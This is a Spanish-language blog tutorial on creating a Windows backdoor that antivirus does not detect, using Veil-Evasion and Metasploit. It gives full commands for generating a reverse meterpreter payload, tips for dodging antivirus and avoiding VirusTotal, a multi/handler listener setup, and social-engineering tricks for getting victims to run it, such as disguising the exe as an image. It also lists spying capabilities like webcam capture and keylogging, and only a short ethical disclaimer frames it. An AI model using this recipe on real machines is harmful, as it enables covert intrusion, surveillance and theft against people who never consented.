¿Qué es un backdoor o puerta trasera?
Un backdoor o puerta trasera por su traducción al español, es un método para obtener acceso remoto en secreto a una computadora al pasar por alto la autenticación normal y el firewall de la máquina o corporativo. No confundir con un troyano, si bien es cierto los troyanos incluyen puertas traseras pero no, no son lo mismo.
En este post, escribiré sobre ‘Cómo creé una puerta trasera para mi máquina con Windows que ni siquiera el antivirus pudo detectar’. Después de crear la puerta trasera, pude hacer muchas cosas en la máquina de Windows de forma remota, como controlar la cámara web, tomar capturas de pantalla, usar registradores de teclas, etc. Pues bien manos a la obra.
Creé el ejecutable (archivo .exe) en mi Kali linux. Este archivo .exe, cuando se ejecuta en una máquina con Windows, crea una puerta trasera a mi máquina con Kali desde donde se puede controlar todo en la máquina con Windows.
Veamos los pasos que se deben seguir.
1. Instalación de Veil
Como primer paso, necesitamos instalar Veil. Para instalar Veil puede ir a través de este enlace https://www.javatpoint.com/installing-veil. También requerirá instalar metasploit, en este caso Kali viene con metasploit por defecto así que no es necesario hacer una instalación. Pero, si tienes ubuntu lo puedes descargar desde este enlace: https://www.darkoperator.com/installing-metasploit-in-ubunt.
Una vez instalado, puede comenzar simplemente escribiendo el comando veil en tu consola o puede ejecutarlo escribiendo ./Veil.py en el directorio donde está instalado veil. La shell o interprete de comandos de veil se abrirá como se muestra a continuación:
2. Usando Evasion en Veil
El framework de Veil tiene 2 herramientas (Evasion y Ordinance) que se pueden ver escribiendo el comando list en el interprete de comandos de Veil. Estamos interesados en Evasion, así que escribimos:
Veil>: list
Veil>: use 1
3. Generación del ejecutable (Backdoor – Puerta trasera)
En las puertas traseras se crea una conexión inversa, es decir, cuando la persona objetivo hace doble clic en el script, su computadora iniciará la puerta trasera. Por lo tanto, se vuelve indetectable para muchos programas antivirus porque no hay una máquina externa que solicite conectarse. También usé el puerto 8080, que es un puerto común que se usa para conectarse a sitios web, por lo que nada parecería sospechoso para los software antivirus.
Escribimos en la consola:
>list
Lo cual nos muestra los payloads disponibles
Usaré la opción 15 (este script usa go como lenguaje de programación para meterpreter), así que escribimos:
> use 15
Necesitamos configurar una dirección IP a la que el backdoor – puerta trasera intentará conectarse. En mi caso, es mi computadora actual, por lo que configuraré LHOST con la IP de Kali (la máquina atacante). También cambiaré el LPORT a 8080. Para obtener mi IP usé ifconfig en el terminal.
Para configurar LHOST y LPORT ejecute lo siguiente:
> set LHOST laipdetumaquinaatacante
> set LPORT 8080
La forma en que funcionan los programas antivirus es que tienen una base de datos muy grande de firmas de archivos que se marcan como sospechosas. Si la firma de su archivo está presente en esa base de datos, el software antivirus marcará su archivo como sospechoso. Por lo tanto, es una buena práctica usar la versión actualizada de Veil, ya que la versión actualizada de Veil generará puertas traseras indetectables para poder eludir los antivirus. Otra de mis recomendaciones es que nunca subas tus ejecutables a virustotal, si bien es cierto que será indetectable, virustotal compartirá este archivo a las empresas de desarrollo antivirus.
Deberíamos intentar modificar el archivo y hacerlo más único para que pase por alto el antivirus. No hay ninguna razón real por la que haya escrito las siguientes 2 líneas. Es solo para hacer que la firma sea un poco diferente para evitar el antivirus.
A continuación, escriba generate para generar el archivo. Aparecerá un mensaje para nombrar la puerta trasera. Lo nombré backdoor_8080 pero deberías nombrarlo con algo diferente para que no genere sospechas.
Aparecerá una página que le mostrará la ubicación del ejecutable guardado.
Listo, hemos creado nuestro primer backdoor – puerta trasera, y este se guardó en:
/var/lib/veil/output/compiled/backdoor_8080.exe
4. Escuchar conexiones entrantes en el puerto creado
Mientras creaba el puerto, usé el puerto 8080. Entonces, abriré el puerto en mi máquina atacante Kali para que esté listo para conectarse cuando la computadora de destino ejecute el ejecutable. Para ello utilizo Metasploit. Para ejecutar la consola Metasploit, ejecute msfconsole.
$ msfconsole
Nota: Veil-Evasion en realidad usa Metasploit para generar la puerta trasera que creamos. |
Para abrir el puerto utilicé un módulo proporcionado por Metasploit. Se llama multi/handler. Así que escribimos:
msf6 > use exploit/multi/handler
Escribimos show options para ver las opciones configuradas
Cambiaremos esta configuración para adaptarla a nuestros requisitos. Ejecute los siguientes comandos:
msf6 > set PAYLOAD windows/meterpreter/reverse_https
msf6 > set LHOST <IP>
msf6 > set LPORT 8080
msf6 > show options
Aquí <IP> es la IP utilizada en el momento de crear el backdoor – puerta trasera, osea la IP de la maquina atacante en mi caso la máquina Kali.
Escribimos exploit para ejecutar y empezar a escuchar en el puerto
msf6 > exploit
5. Hacer que la víctima ejecute el backdoor – puerta trasera
Hay varias formas de ingeniería social para que la víctima ejecute el backdoor en su maquina. Una de estas formas es creando un troyano. Básicamente, disfrazar el archivo .exe en una imagen en un archivo .jpg. Aprovecharnos de un pendrive, de un programa de recargas gratis, pseudo clonadores de WhatsApp y la lista es muy extensa cuando los usuarios son muy descuidados.
6. Probando la puerta trasera en Windows
Al hacer doble clic en el archivo backdoor_8080.exe en la máquina con Windows, se ejecutó el backdoor – puerta trasera.
En el Metasploit donde estábamos escuchando conexiones en la máquina Kali (maquina atacante), podemos ver que se ha abierto el shell de metepreter.
El shell de meterpreter se verá como el que se muestra arriba. Puede escribir help para obtener una larga lista de comandos y su descripción de lo que puede hacer.
Una lista de comandos básicos que puede ejecutar es:
> sysinfo
> ipconfig
> pwd
> shell
Además de esto, también puede cambiar los privilegios de usuario, cargar/descargar archivos, ejecutar este ejecutable como un servicio, tomar capturas de pantalla, espiar por la webcam sin que se den cuenta, almacenar pulsaciones de teclas y muchas otras cosas.
Resumiendo el backdoor – puertas traseras
Si bien parece que crear puertas traseras es algo que está mal y solo lo hacen los piratas informáticos blackhat (sombreros negros), no es del todo cierto. Algunas de las empresas basadas en productos también crean puertas traseras en sus productos para que, si sus usuarios pierden el acceso a sus cuentas o productos, las empresas puedan ayudarlos a obtener acceso. Si bien el método anterior es una buena manera de crear puertas traseras, si desea estar en el lado ético de la línea, no lo use para obtener acceso a computadoras para las que no tiene permiso.
Otra cosa es que este tipo de backdoor si bien es cierto a pesar de ahorrarnos tiempo puede ser poderoso y que también nos ayuda en la hora de simular un ataque real dentro de una empresa, pero la verdad es que tu no estás codificandolo, así que por favor no vayas por ahí diciendo que eres desarrollador de virus o que eres un gran hacker.
En pocos días subiré el video a youtube para que sea más entendible.